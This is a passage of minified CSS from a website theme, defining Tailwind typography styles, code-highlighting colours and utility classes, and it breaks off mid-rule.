:where(ol>li):not(:where([class~=not-prose],[class~=not-prose] *))::marker{font-weight:400;color:var(--tw-prose-counters)}.prose :where(ul>li):not(:where([class~=not-prose],[class~=not-prose] *))::marker{color:var(--tw-prose-bullets)}.prose :where(dt):not(:where([class~=not-prose],[class~=not-prose] *)){color:var(--tw-prose-headings);font-weight:600;margin-top:1.25em}.prose :where(hr):not(:where([class~=not-prose],[class~=not-prose] *)){border-color:var(--tw-prose-hr);border-top-width:1px;margin-top:3em;margin-bottom:3em}.prose :where(blockquote):not(:where([class~=not-prose],[class~=not-prose] *)){font-weight:500;font-style:italic;color:var(--tw-prose-quotes);border-inline-start-width:.25rem;border-inline-start-color:var(--tw-prose-quote-borders);quotes:"\201C""\201D""\2018""\2019";margin-top:1.6em;margin-bottom:1.6em;padding-inline-start:1em}.prose :where(blockquote p:first-of-type):not(:where([class~=not-prose],[class~=not-prose] *))::before{content:open-quote}.prose :where(blockquote p:last-of-type):not(:where([class~=not-prose],[class~=not-prose] *))::after{content:close-quote}.prose :where(h1):not(:where([class~=not-prose],[class~=not-prose] *)){color:var(--tw-prose-headings);font-weight:800;font-size:2.25em;margin-top:0;margin-bottom:.8888889em;line-height:1.1111111}.prose :where(h1 strong):not(:where([class~=not-prose],[class~=not-prose] *)){font-weight:900;color:inherit}.prose :where(h2):not(:where([class~=not-prose],[class~=not-prose] *)){color:var(--tw-prose-headings);font-weight:700;font-size:1.5em;margin-top:2em;margin-bottom:1em;line-height:1.3333333}.prose :where(h2 strong):not(:where([class~=not-prose],[class~=not-prose] *)){font-weight:800;color:inherit}.prose :where(h3):not(:where([class~=not-prose],[class~=not-prose] *)){color:var(--tw-prose-headings);font-weight:600;font-size:1.25em;margin-top:1.6em;margin-bottom:.6em;line-height:1.6}.prose :where(h3 strong):not(:where([class~=not-prose],[class~=not-prose] *)){font-weight:700;color:inherit}.prose :where(h4):not(:where([class~=not-prose],[class~=not-prose] *)){color:var(--tw-prose-headings);font-weight:600;margin-top:1.5em;margin-bottom:.5em;line-height:1.5}.prose :where(h4 strong):not(:where([class~=not-prose],[class~=not-prose] *)){font-weight:700;color:inherit}.prose :where(img):not(:where([class~=not-prose],[class~=not-prose] *)){margin-top:2em;margin-bottom:2em}.prose :where(picture):not(:where([class~=not-prose],[class~=not-prose] *)){display:block;margin-top:2em;margin-bottom:2em}.prose :where(video):not(:where([class~=not-prose],[class~=not-prose] *)){margin-top:2em;margin-bottom:2em}.prose :where(kbd):not(:where([class~=not-prose],[class~=not-prose] *)){font-weight:600;font-family:inherit;color:var(--tw-prose-kbd);box-shadow:0 0 0 1px rgb(var(--tw-prose-kbd-shadows)/10%),0 3px rgb(var(--tw-prose-kbd-shadows)/10%);font-size:.9rem;border-radius:.25rem;padding-top:.1875em;padding-inline-end:.375em;padding-bottom:.1875em;padding-inline-start:.375em;background-color:rgba(var(--color-neutral-200),1);padding:.1rem .4rem}.prose :where(code):not(:where([class~=not-prose],[class~=not-prose] *)){color:var(--tw-prose-code);font-weight:600;font-size:.875em}.prose :where(code):not(:where([class~=not-prose],[class~=not-prose] *))::before{content:"`"}.prose :where(code):not(:where([class~=not-prose],[class~=not-prose] *))::after{content:"`"}.prose :where(a code):not(:where([class~=not-prose],[class~=not-prose] *)){color:var(--tw-prose-code)}.prose :where(h1 code):not(:where([class~=not-prose],[class~=not-prose] *)){color:inherit}.prose :where(h2 code):not(:where([class~=not-prose],[class~=not-prose] *)){color:inherit;font-size:.875em}.prose :where(h3 code):not(:where([class~=not-prose],[class~=not-prose] *)){color:inherit;font-size:.9em}.prose :where(h4 code):not(:where([class~=not-prose],[class~=not-prose] *)){color:inherit}.prose :where(blockquote code):not(:where([class~=not-prose],[class~=not-prose] *)){color:inherit}.prose :where(thead th code):not(:where([class~=not-prose],[class~=not-prose] *)){color:inherit}.prose :where(pre):not(:where([class~=not-prose],[class~=not-prose] *)){color:var(--tw-prose-pre-code);background-color:var(--tw-prose-pre-bg);overflow-x:auto;font-weight:400;font-size:.875em;line-height:1.7142857;margin-top:1.7142857em;margin-bottom:1.7142857em;border-radius:.375rem;padding-top:.8571429em;padding-inline-end:1.1428571em;padding-bottom:.8571429em;padding-inline-start:1.1428571em}.prose :where(pre code):not(:where([class~=not-prose],[class~=not-prose] *)){background-color:transparent;border-width:0;border-radius:0;padding:0;font-weight:inherit;color:inherit;font-size:inherit;font-family:inherit;line-height:inherit}.prose :where(pre code):not(:where([class~=not-prose],[class~=not-prose] *))::before{content:none}.prose :where(pre code):not(:where([class~=not-prose],[class~=not-prose] *))::after{content:none}.prose :where(table):not(:where([class~=not-prose],[class~=not-prose] *)){width:100%;table-layout:auto;margin-top:2em;margin-bottom:2em;font-size:.875em;line-height:1.7142857}.prose :where(thead):not(:where([class~=not-prose],[class~=not-prose] *)){border-bottom-width:1px;border-bottom-color:var(--tw-prose-th-borders)}.prose :where(thead th):not(:where([class~=not-prose],[class~=not-prose] *)){color:var(--tw-prose-headings);font-weight:600;vertical-align:bottom;padding-inline-end:.5714286em;padding-bottom:.5714286em;padding-inline-start:.5714286em}.prose :where(tbody tr):not(:where([class~=not-prose],[class~=not-prose] *)){border-bottom-width:1px;border-bottom-color:var(--tw-prose-td-borders)}.prose :where(tbody tr:last-child):not(:where([class~=not-prose],[class~=not-prose] *)){border-bottom-width:0}.prose :where(tbody td):not(:where([class~=not-prose],[class~=not-prose] *)){vertical-align:baseline}.prose :where(tfoot):not(:where([class~=not-prose],[class~=not-prose] *)){border-top-width:1px;border-top-color:var(--tw-prose-th-borders)}.prose :where(tfoot td):not(:where([class~=not-prose],[class~=not-prose] *)){vertical-align:top}.prose :where(th,td):not(:where([class~=not-prose],[class~=not-prose] *)){text-align:start}.prose :where(figure>*):not(:where([class~=not-prose],[class~=not-prose] *)){margin-top:0;margin-bottom:0}.prose :where(figcaption):not(:where([class~=not-prose],[class~=not-prose] *)){color:var(--tw-prose-captions);font-size:.875em;line-height:1.4285714;margin-top:.8571429em}.prose{--tw-prose-body:rgba(var(--color-neutral-700), 1);--tw-prose-headings:rgba(var(--color-neutral-800), 1);--tw-prose-lead:rgba(var(--color-neutral-500), 1);--tw-prose-links:rgba(var(--color-primary-700), 1);--tw-prose-bold:rgba(var(--color-neutral-900), 1);--tw-prose-counters:rgba(var(--color-neutral-800), 1);--tw-prose-bullets:rgba(var(--color-neutral-500), 1);--tw-prose-hr:rgba(var(--color-neutral-200), 1);--tw-prose-quotes:rgba(var(--color-neutral-700), 1);--tw-prose-quote-borders:rgba(var(--color-primary-200), 1);--tw-prose-captions:rgba(var(--color-neutral-500), 1);--tw-prose-kbd:#111827;--tw-prose-kbd-shadows:17 24 39;--tw-prose-code:rgba(var(--color-secondary-700), 1);--tw-prose-pre-code:rgba(var(--color-neutral-700), 1);--tw-prose-pre-bg:rgba(var(--color-neutral-50), 1);--tw-prose-th-borders:rgba(var(--color-neutral-500), 1);--tw-prose-td-borders:rgba(var(--color-neutral-300), 1);--tw-prose-invert-body:rgba(var(--color-neutral-300), 1);--tw-prose-invert-headings:rgba(var(--color-neutral-50), 1);--tw-prose-invert-lead:rgba(var(--color-neutral-500), 1);--tw-prose-invert-links:rgba(var(--color-primary-400), 1);--tw-prose-invert-bold:rgba(var(--color-neutral), 1);--tw-prose-invert-counters:rgba(var(--color-neutral-400), 1);--tw-prose-invert-bullets:rgba(var(--color-neutral-600), 1);--tw-prose-invert-hr:rgba(var(--color-neutral-500), 1);--tw-prose-invert-quotes:rgba(var(--color-neutral-200), 1);--tw-prose-invert-quote-borders:rgba(var(--color-primary-900), 1);--tw-prose-invert-captions:rgba(var(--color-neutral-400), 1);--tw-prose-invert-kbd:#fff;--tw-prose-invert-kbd-shadows:255 255 255;--tw-prose-invert-code:rgba(var(--color-secondary-400), 1);--tw-prose-invert-pre-code:rgba(var(--color-neutral-200), 1);--tw-prose-invert-pre-bg:rgba(var(--color-neutral-700), 1);--tw-prose-invert-th-borders:rgba(var(--color-neutral-500), 1);--tw-prose-invert-td-borders:rgba(var(--color-neutral-700), 1);font-size:1rem;line-height:1.75}.prose :where(picture>img):not(:where([class~=not-prose],[class~=not-prose] *)){margin-top:0;margin-bottom:0}.prose :where(li):not(:where([class~=not-prose],[class~=not-prose] *)){margin-top:.5em;margin-bottom:.5em}.prose :where(ol>li):not(:where([class~=not-prose],[class~=not-prose] *)){padding-inline-start:.375em}.prose :where(ul>li):not(:where([class~=not-prose],[class~=not-prose] *)){padding-inline-start:.375em}.prose :where(.prose>ul>li p):not(:where([class~=not-prose],[class~=not-prose] *)){margin-top:.75em;margin-bottom:.75em}.prose :where(.prose>ul>li>p:first-child):not(:where([class~=not-prose],[class~=not-prose] *)){margin-top:1.25em}.prose :where(.prose>ul>li>p:last-child):not(:where([class~=not-prose],[class~=not-prose] *)){margin-bottom:1.25em}.prose :where(.prose>ol>li>p:first-child):not(:where([class~=not-prose],[class~=not-prose] *)){margin-top:1.25em}.prose :where(.prose>ol>li>p:last-child):not(:where([class~=not-prose],[class~=not-prose] *)){margin-bottom:1.25em}.prose :where(ul ul,ul ol,ol ul,ol ol):not(:where([class~=not-prose],[class~=not-prose] *)){margin-top:.75em;margin-bottom:.75em}.prose :where(dl):not(:where([class~=not-prose],[class~=not-prose] *)){margin-top:1.25em;margin-bottom:1.25em}.prose :where(dd):not(:where([class~=not-prose],[class~=not-prose] *)){margin-top:.5em;padding-inline-start:1.625em}.prose :where(hr+*):not(:where([class~=not-prose],[class~=not-prose] *)){margin-top:0}.prose :where(h2+*):not(:where([class~=not-prose],[class~=not-prose] *)){margin-top:0}.prose :where(h3+*):not(:where([class~=not-prose],[class~=not-prose] *)){margin-top:0}.prose :where(h4+*):not(:where([class~=not-prose],[class~=not-prose] *)){margin-top:0}.prose :where(thead th:first-child):not(:where([class~=not-prose],[class~=not-prose] *)){padding-inline-start:0}.prose :where(thead th:last-child):not(:where([class~=not-prose],[class~=not-prose] *)){padding-inline-end:0}.prose :where(tbody td,tfoot td):not(:where([class~=not-prose],[class~=not-prose] *)){padding-top:.5714286em;padding-inline-end:.5714286em;padding-bottom:.5714286em;padding-inline-start:.5714286em}.prose :where(tbody td:first-child,tfoot td:first-child):not(:where([class~=not-prose],[class~=not-prose] *)){padding-inline-start:0}.prose :where(tbody td:last-child,tfoot td:last-child):not(:where([class~=not-prose],[class~=not-prose] *)){padding-inline-end:0}.prose :where(figure):not(:where([class~=not-prose],[class~=not-prose] *)){margin-top:2em;margin-bottom:2em}.prose :where(.prose>:first-child):not(:where([class~=not-prose],[class~=not-prose] *)){margin-top:0}.prose :where(.prose>:last-child):not(:where([class~=not-prose],[class~=not-prose] *)){margin-bottom:0}.prose :where(mark):not(:where([class~=not-prose],[class~=not-prose] *)){color:rgba(var(--color-neutral-800),1);background-color:rgba(var(--color-secondary-200),1);padding:.1rem .2rem;border-radius:.12rem}body a,body button{transition-property:color,background-color,border-color,text-decoration-color,fill,stroke;transition-timing-function:cubic-bezier(.4,0,.2,1);transition-duration:150ms}.icon svg{height:1em;width:1em}#search-query::-webkit-search-cancel-button,#search-query::-webkit-search-decoration,#search-query::-webkit-search-results-button,#search-query::-webkit-search-results-decoration{display:none}body:has(#menu-controller:checked){height:100vh;overflow:hidden}#menu-button:has(#menu-controller:checked){visibility:hidden}#menu-controller:checked~#menu-wrapper{visibility:visible;opacity:1}.prose blockquote:where([dir=rtl],[dir=rtl] *){border-left-width:0;border-right-width:4px;padding-right:1rem}.prose ul>li:where([dir=rtl],[dir=rtl] *),.prose ol>li:where([dir=rtl],[dir=rtl] *){margin-right:1.75rem;padding-left:0;padding-right:.5rem}.prose ol>li:where([dir=rtl],[dir=rtl] *):before,.prose ul>li:where([dir=rtl],[dir=rtl] *):before{left:auto;right:.25rem}.prose thead td:first-child:where([dir=rtl],[dir=rtl] *),.prose thead th:first-child:where([dir=rtl],[dir=rtl] *){padding-right:0}.prose thead td:last-child:where([dir=rtl],[dir=rtl] *),.prose thead th:last-child:where([dir=rtl],[dir=rtl] *){padding-left:0}.prose div.min-w-0.max-w-prose>*:first-child{margin-top:.75rem}.toc{max-height:100vh;overflow-y:auto;padding-bottom:50px}.toc ul,.toc li{list-style-type:none;padding-left:0;padding-right:0;line-height:1.375}.toc ul ul{padding-inline-start:1rem}.toc a{font-weight:400;--tw-text-opacity:1;color:rgba(var(--color-neutral-700),var(--tw-text-opacity))}.toc a:is(.dark *){--tw-text-opacity:1;color:rgba(var(--color-neutral-400),var(--tw-text-opacity))}.toc ul>li:where([dir=rtl],[dir=rtl] *){margin-right:0}.highlight-wrapper{display:block}.highlight{position:relative;z-index:0}.highlight:hover>.copy-button{visibility:visible}.copy-button{visibility:hidden;position:absolute;right:0;top:0;z-index:10;width:5rem;cursor:pointer;white-space:nowrap;border-bottom-left-radius:.375rem;border-top-right-radius:.375rem;--tw-bg-opacity:1;background-color:rgba(var(--color-neutral-200),var(--tw-bg-opacity));padding-top:.25rem;padding-bottom:.25rem;font-family:ui-monospace,SFMono-Regular,Menlo,Monaco,Consolas,liberation mono,courier new,monospace;font-size:.875rem;line-height:1.25rem;--tw-text-opacity:1;color:rgba(var(--color-neutral-700),var(--tw-text-opacity));opacity:.9}.copy-button:is(.dark *){--tw-bg-opacity:1;background-color:rgba(var(--color-neutral-600),var(--tw-bg-opacity));--tw-text-opacity:1;color:rgba(var(--color-neutral-200),var(--tw-text-opacity))}.copy-button:hover,.copy-button:focus,.copy-button:active,.copy-button:active:hover{--tw-bg-opacity:1;background-color:rgba(var(--color-primary-100),var(--tw-bg-opacity))}.copy-button:hover:is(.dark *),.copy-button:focus:is(.dark *),.copy-button:active:is(.dark *),.copy-button:active:hover:is(.dark *){--tw-bg-opacity:1;background-color:rgba(var(--color-primary-600),var(--tw-bg-opacity))}.copy-textarea{position:absolute;z-index:-10;opacity:.05}.katex-display{overflow:auto hidden}table{display:block;overflow:auto}@media(min-width:768px){table{display:table}}code{word-wrap:break-word;overflow-wrap:break-word}.chroma{border-radius:.375rem;--tw-bg-opacity:1;background-color:rgba(var(--color-neutral-50),var(--tw-bg-opacity));padding-top:.75rem;padding-bottom:.75rem;--tw-text-opacity:1;color:rgba(var(--color-neutral-700),var(--tw-text-opacity))}.chroma:is(.dark *){--tw-bg-opacity:1;background-color:rgba(var(--color-neutral-700),var(--tw-bg-opacity));--tw-text-opacity:1;color:rgba(var(--color-neutral-200),var(--tw-text-opacity))}.chroma pre{margin:0;padding:0}.chroma .lntable{margin:0;display:block;width:auto;overflow:auto;font-size:1rem;line-height:1.5rem}.chroma .lnt,.chroma .ln{margin-right:.5rem;padding-left:.5rem;padding-right:.5rem;--tw-text-opacity:1;color:rgba(var(--color-neutral-600),var(--tw-text-opacity))}.chroma .lnt:is(.dark *),.chroma .ln:is(.dark *){--tw-text-opacity:1;color:rgba(var(--color-neutral-300),var(--tw-text-opacity))}.chroma .lntd{padding:0;vertical-align:top}.chroma .lntd:last-of-type{width:100%}.chroma .hl{display:block;width:100%;--tw-bg-opacity:1;background-color:rgba(var(--color-primary-100),var(--tw-bg-opacity))}.chroma .hl:is(.dark *){--tw-bg-opacity:1;background-color:rgba(var(--color-primary-900),var(--tw-bg-opacity))}.chroma .k,.chroma .kd,.chroma .kn,.chroma .kp,.chroma .kr,.chroma .nc,.chroma .fm,.chroma .nn,.chroma .vc,.chroma .o{--tw-text-opacity:1;color:rgba(var(--color-primary-600),var(--tw-text-opacity))}.chroma .k:is(.dark *),.chroma .kd:is(.dark *),.chroma .kn:is(.dark *),.chroma .kp:is(.dark *),.chroma .kr:is(.dark *),.chroma .nc:is(.dark *),.chroma .fm:is(.dark *),.chroma .nn:is(.dark *),.chroma .vc:is(.dark *),.chroma .o:is(.dark *){--tw-text-opacity:1;color:rgba(var(--color-primary-300),var(--tw-text-opacity))}.chroma .kc{font-weight:600;--tw-text-opacity:1;color:rgba(var(--color-secondary-400),var(--tw-text-opacity))}.chroma .kc:is(.dark *){--tw-text-opacity:1;color:rgba(var(--color-secondary-500),var(--tw-text-opacity))}.chroma .kt,.chroma .nv,.chroma .vi,.chroma .vm,.chroma .m,.chroma .mb,.chroma .mf,.chroma .mh,.chroma .mi,.chroma .il,.chroma .mo{--tw-text-opacity:1;color:rgba(var(--color-secondary-400),var(--tw-text-opacity))}.chroma .kt:is(.dark *),.chroma .nv:is(.dark *),.chroma .vi:is(.dark *),.chroma .vm:is(.dark *),.chroma .m:is(.dark *),.chroma .mb:is(.dark *),.chroma .mf:is(.dark *),.chroma .mh:is(.dark *),.chroma .mi:is(.dark *),.chroma .il:is(.dark *),.chroma .mo:is(.dark *){--tw-text-opacity:1;color:rgba(var(--color-secondary-600),var(--tw-text-opacity))}.chroma .n,.chroma .nd,.chroma .ni,.chroma .nl{--tw-text-opacity:1;color:rgba(var(--color-secondary-900),var(--tw-text-opacity))}.chroma .n:is(.dark *),.chroma .nd:is(.dark *),.chroma .ni:is(.dark *),.chroma .nl:is(.dark *){--tw-text-opacity:1;color:rgba(var(--color-secondary-200),var(--tw-text-opacity))}.chroma .na,.chroma .nb,.chroma .bp,.chroma .nx,.chroma .py,.chroma .nt{--tw-text-opacity:1;color:rgba(var(--color-secondary-800),var(--tw-text-opacity))}.chroma .na:is(.dark *),.chroma .nb:is(.dark *),.chroma .bp:is(.dark *),.chroma .nx:is(.dark *),.chroma .py:is(.dark *),.chroma .nt:is(.dark *){--tw-text-opacity:1;color:rgba(var(--color-secondary-300),var(--tw-text-opacity))}.chroma .no,.chroma .ne,.chroma .vg{font-weight:600;--tw-text-opacity:1;color:rgba(var(--color-secondary-400),var(--tw-text-opacity))}.chroma .no:is(.dark *),.chroma .ne:is(.dark *),.chroma .vg:is(.dark *){--tw-text-opacity:1;color:rgba(var(--color-secondary-500),var(--tw-text-opacity))}.chroma .nf{--tw-text-opacity:1;color:rgba(var(--color-secondary-600),var(--tw-text-opacity))}.chroma .nf:is(.dark *){--tw-text-opacity:1;color:rgba(var(--color-secondary-500),var(--tw-text-opacity))}.chroma .l,.chroma .ld,.chroma .s,.chroma .sa,.chroma .sb,.chroma .sc,.chroma .dl,.chroma .sd,.chroma .s2,.chroma .sh,.chroma .si,.chroma .sx,.chroma .s1,.chroma .gi,.chroma .go,.chroma .gp{--tw-text-opacity:1;color:rgba(var(--color-primary-800),var(--tw-text-opacity))}.chroma .l:is(.dark *),.chroma .ld:is(.dark *),.chroma .s:is(.dark *),.chroma .sa:is(.dark *),.chroma .sb:is(.dark *),.chroma .sc:is(.dark *),.chroma .dl:is(.dark *),.chroma .sd:is(.dark *),.chroma .s2:is(.dark *),.chroma .sh:is(.dark *),.chroma .si:is(.dark *),.chroma .sx:is(.dark *),.chroma .s1:is(.dark *),.chroma .gi:is(.dark *),.chroma .go:is(.dark *),.chroma .gp:is(.dark *){--tw-text-opacity:1;color:rgba(var(--color-primary-400),var(--tw-text-opacity))}.chroma .se{font-weight:600;--tw-text-opacity:1;color:rgba(var(--color-secondary-400),var(--tw-text-opacity))}.chroma .se:is(.dark *){--tw-text-opacity:1;color:rgba(var(--color-secondary-500),var(--tw-text-opacity))}.chroma .sr,.chroma .ss{font-weight:600;--tw-text-opacity:1;color:rgba(var(--color-primary-800),var(--tw-text-opacity))}.chroma .sr:is(.dark *),.chroma .ss:is(.dark *){--tw-text-opacity:1;color:rgba(var(--color-primary-400),var(--tw-text-opacity))}.chroma .ow{font-weight:600;--tw-text-opacity:1;color:rgba(var(--color-primary-400),var(--tw-text-opacity))}.chroma .ow:is(.dark *){--tw-text-opacity:1;color:rgba(var(--color-primary-600),var(--tw-text-opacity))}.chroma .c,.chroma .cm,.chroma .c1,.chroma .cs,.chroma .cp,.chroma .cpf{font-style:italic;--tw-text-opacity:1;color:rgba(var(--color-neutral-500),var(--tw-text-opacity))}.chroma .c:is(.dark *),.chroma .cm:is(.dark *),.chroma .c1:is(.dark *),.chroma .cs:is(.dark *),.chroma .cp:is(.dark *),.chroma .cpf:is(.dark *){--tw-text-opacity:1;color:rgba(var(--color-neutral-400),var(--tw-text-opacity))}.chroma .ch{font-weight:600;font-style:italic;--tw-text-opacity:1;color:rgba(var(--color-neutral-500),var(--tw-text-opacity))}.chroma .ch:is(.dark *){--tw-text-opacity:1;color:rgba(var(--color-neutral-400),var(--tw-text-opacity))}.chroma .ge{font-style:italic}.chroma .gh{font-weight:600;--tw-text-opacity:1;color:rgba(var(--color-neutral-500),var(--tw-text-opacity))}.chroma .gs{font-weight:600}.chroma .gu,.chroma .gt{--tw-text-opacity:1;color:rgba(var(--color-neutral-500),var(--tw-text-opacity))}.chroma .gl{text-decoration-line:underline}.pointer-events-none{pointer-events:none}.pointer-events-auto{pointer-events:auto}.invisible{visibility:hidden}.fixed{position:fixed}.absolute{position:absolute}.relative{position:relative}.sticky{position:sticky}.inset-0{inset:0}.-start-6{inset-inline-start:-1.5rem}.bottom-0{bottom:0}.bottom-7{bottom:1.75rem}.end-0{inset-inline-end:0}.top-0{top:0}.top-20{top:5rem}.top-\[100vh\]{top:100vh}.top-\[calc\(100vh-5\.5rem\)\]{top:calc(100vh - 5.5rem)}.z-10{z-index:10}.z-30{z-index:30}.z-40{z-index:40}.z-50{z-index:50}.order-first{order:-9999}.m-1{margin:.25rem}.m-auto{margin:auto}.-mx-2{margin-left:-.5rem;margin-right:-.5rem}.mx-1{margin-left:.25rem;margin-right:.25rem}.mx-auto{margin-left:auto;margin-right:auto}.my-0{margin-top:0;margin-bottom:0}.my-1{margin-top:.25rem;margin-bottom:.25rem}.my-3{margin-top:.75rem;margin-bottom:.75rem}.\!mb-0{margin-bottom:0!important}.\!mb-9{margin-bottom:2.25rem!important}.\!mt-0{margin-top:0!important}.-mb-1{margin-bottom:-.25rem}.-ms-5{margin-inline-start:-1.25rem}.-mt-3{margin-top:-.75rem}.mb-1{margin-bottom:.25rem}.mb-10{margin-bottom:2.5rem}.mb-12{margin-bottom:3rem}.mb-2{margin-bottom:.5rem}.mb-3{margin-bottom:.75rem}.mb-6{margin-bottom:1.5rem}.mb-8{margin-bottom:2rem}.mb-\[2px\]{margin-bottom:2px}.me-14{margin-inline-end:3.5rem}.me-2{margin-inline-end:.5rem}.me-4{margin-inline-end:1rem}.ml-2{margin-left:.5rem}.mr-2{margin-right:.5rem}.ms-1{margin-inline-start:.25rem}.ms-2{margin-inline-start:.5rem}.mt-0{margin-top:0}.mt-1{margin-top:.25rem}.mt-10{margin-top:2.5rem}.mt-12{margin-top:3rem}.mt-6{margin-top:1.5rem}.mt-8{margin-top:2rem}.mt-\[0\.1rem\]{margin-top:.1rem}.block{display:block}.inline-block{display:inline-block}.inline{display:inline}.flex{display:flex}.hidden{display:none}.h-12{height:3rem}.h-8{height:2rem}.h-auto{height:auto}.h-full{height:100%}.h-screen{height:100vh}.max-h-\[10rem\]{max-height:10rem}.max-h-\[4\.5rem\]{max-height:4.5rem}.min-h-0{min-height:0}.w-12{width:3rem}.w-24{width:6rem}.w-36{width:9rem}.w-6{width:1.5rem}.w-8{width:2rem}.w-full{width:100%}.w-screen{width:100vw}.min-w-0{min-width:0}.min-w-\[1\.8rem\]{min-width:1.8rem}.min-w-\[2\.4rem\]{min-width:2.4rem}.max-w-3xl{max-width:48rem}.max-w-7xl{max-width:80rem}.max-w-\[10rem\]{max-width:10rem}.max-w-\[6rem\]{max-width:6rem}.max-w-full{max-width:100%}.max-w-prose{max-width:65ch}.flex-auto{flex:auto}.flex-none{flex:none}.flex-grow{flex-grow:1}.grow{flex-grow:1}.-translate-y-8{--tw-translate-y:-2rem;transform:translate(var(--tw-translate-x),var(--tw-translate-y))rotate(var(--tw-rotate))skewX(var(--tw-skew-x))skewY(var(--tw-skew-y))scaleX(var(--tw-scale-x))scaleY(var(--tw-scale-y))}.cursor-default{cursor:default}.cursor-pointer{cursor:pointer}.list-none{list-style-type:none}.appearance-none{-webkit-appearance:none;-moz-appearance:none;appearance:none}.flex-row{flex-direction:row}.flex-col{flex-direction:column}.flex-wrap{flex-wrap:wrap}.items-start{align-items:flex-start}.items-end{align-items:flex-end}.items-center{align-items:center}.justify-end{justify-content:flex-end}.justify-center{justify-content:center}.justify-between{justify-content:space-between}.place-self-center{place-self:center}.self-center{align-self:center}.overflow-auto{overflow:auto}.overflow-hidden{overflow:hidden}.overflow-visible{overflow:visible}.scroll-smooth{scroll-behavior:smooth}.whitespace-nowrap{white-space:nowrap}.\!rounded-md{border-radius:.375rem!important}.rounded{border-radius:.25rem}.rounded-full{border-radius:9999px}.rounded-lg{border-radius:.5rem}.rounded-md{border-radius:.375rem}.rounded-b-lg{border-bottom-right-radius:.5rem;border-bottom-left-radius:.5rem}.border{border-width:1px}.border-s{border-inline-start-width:1px}.border-t{border-top-width:1px}.border-dotted{border-style:dotted}.border-neutral-200{--tw-border-opacity:1;border-color:rgba(var(--color-neutral-200),var(--tw-border-opacity))}.border-neutral-300{--tw-border-opacity:1;border-color:rgba(var(--color-neutral-300),var(--tw-border-opacity))}.border-neutral-400{--tw-border-opacity:1;border-color:rgba(var(--color-neutral-400),var(--tw-border-opacity))}.border-primary-400{--tw-border-opacity:1;border-color:rgba(var(--color-primary-400),var(--tw-border-opacity))}.bg-neutral{--tw-bg-opacity:1;background-color:rgba(var(--color-neutral),var(--tw-bg-opacity))}.bg-neutral-100{--tw-bg-opacity:1;background-color:rgba(var(--color-neutral-100),var(--tw-bg-opacity))}.bg-neutral-100\/50{background-color:rgba(var(--color-neutral-100),.5)}.bg-neutral-300{--tw-bg-opacity:1;background-color:rgba(var(--color-neutral-300),var(--tw-bg-opacity))}.bg-neutral-500\/50{background-color:rgba(var(--color-neutral-500),.5)}.bg-neutral\/50{background-color:rgba(var(--color-neutral),.5)}.bg-primary-100{--tw-bg-opacity:1;background-color:rgba(var(--color-primary-100),var(--tw-bg-opacity))}.bg-primary-200{--tw-bg-opacity:1;background-color:rgba(var(--color-primary-200),var(--tw-bg-opacity))}.bg-primary-600{--tw-bg-opacity:1;background-color:rgba(var(--color-primary-600),var(--tw-bg-opacity))}.bg-transparent{background-color:transparent}.object-scale-down{-o-object-fit:scale-down;object-fit:scale-down}.object-left{-o-object-position:left;object-position:left}.p-1{padding:.25rem}.p-4{padding:1rem}.px-0{padding-left:0;padding-right:0}.px-1{padding-left:.25rem;padding-right:.25rem}.px-2{padding-left:.5rem;padding-right:.5rem}.px-3{padding-left:.75rem;padding-right:.75rem}.px-4{padding-left:1rem;padding-right:1rem}.px-6{padding-left:1.5rem;padding-right:1.5rem}.py-1{padding-top:.25rem;padding-bottom:.25rem}.py-10{padding-top:2.5rem;padding-bottom:2.5rem}.py-2{padding-top:.5rem;padding-bottom:.5rem}.py-3{padding-top:.75rem;padding-bottom:.75rem}.py-6{padding-top:1.5rem;padding-bottom:1.5rem}.py-8{padding-top:2rem;padding-bottom:2rem}.py-\[1px\]{padding-top:1px;padding-bottom:1px}.pb-4{padding-bottom:1rem}.pe-10{padding-inline-end:2.5rem}.pe-2{padding-inline-end:.5rem}.pe-3{padding-inline-end:.75rem}.pe-4{padding-inline-end:1rem}.pe-5{padding-inline-end:1.25rem}.ps-2{padding-inline-start:.5rem}.ps-5{padding-inline-start:1.25rem}.pt-3{padding-top:.75rem}.pt-4{padding-top:1rem}.pt-8{padding-top:2rem}.text-center{text-align:center}.text-right{text-align:right}.text-start{text-align:start}.text-end{text-align:end}.align-top{vertical-align:top}.align-text-bottom{vertical-align:text-bottom}.text-2xl{font-size:1.5rem;line-height:2rem}.text-4xl{font-size:2.25rem;line-height:2.5rem}.text-\[0\.6rem\]{font-size:.6rem}.text-base{font-size:1rem;line-height:1.5rem}.text-lg{font-size:1.125rem;line-height:1.75rem}.text-sm{font-size:.875rem;line-height:1.25rem}.text-xl{font-size:1.25rem;line-height:1.75rem}.text-xs{font-size:.75rem;line-height:1rem}.font-bold{font-weight:700}.font-extrabold{font-weight:800}.font-medium{font-weight:500}.font-normal{font-weight:400}.font-semibold{font-weight:600}.uppercase{text-transform:uppercase}.italic{font-style:italic}.leading-3{line-height:.75rem}.leading-6{line-height:1.5rem}.leading-7{line-height:1.75rem}.leading-relaxed{line-height:1.625}.\!text-neutral{--tw-text-opacity:1 !important;color:rgba(var(--color-neutral),var(--tw-text-opacity))!important}.text-neutral-400{--tw-text-opacity:1;color:rgba(var(--color-neutral-400),var(--tw-text-opacity))}.text-neutral-500{--tw-text-opacity:1;color:rgba(var(--color-neutral-500),var(--tw-text-opacity))}.text-neutral-700{--tw-text-opacity:1;color:rgba(var(--color-neutral-700),var(--tw-text-opacity))}.text-neutral-800{--tw-text-opacity:1;color:rgba(var(--color-neutral-800),var(--tw-text-opacity))}.text-neutral-900{--tw-text-opacity:1;color:rgba(var(--color-neutral-900),var(--tw-text-opacity))}.text-primary-400{--tw-text-opacity:1;color:rgba(var(--color-primary-400),var(--tw-text-opacity))}.text-primary-500{--tw-text-opacity:1;color:rgba(var(--color-primary-500),var(--tw-text-opacity))}.text-primary-600{--tw-text-opacity:1;color:rgba(var(--color-primary-600),var(--tw-text-opacity))}.text-primary-700{--tw-text-opacity:1;color:rgba(var(--color-primary-700),var(--tw-text-opacity))}.\!no-underline{text-decoration-line:none!important}.decoration-neutral-300{text-decoration-color:rgba(var(--color-neutral-300),1)}.decoration-primary-500{text-decoration-color:rgba(var(--color-primary-500),1)}.opacity-0{opacity:0}.shadow{--tw-shadow:0 1px 3px 0 rgb(0 0 0 / 0.1), 0 1px 2px -1px rgb(0 0 0 / 0.1);--tw-shadow-colored:0 1px 3px 0 var(--tw-shadow-color), 0 1px 2px -1px var(--tw-shadow-color);box-shadow:var(--tw-ring-offset-shadow,0 0 #0000),var(--tw-ring-shadow,0 0 #0000),var(--tw-shadow)}.shadow-lg{--tw-shadow:0 10px 15px -3px rgb(0 0 0 / 0.1), 0 4px 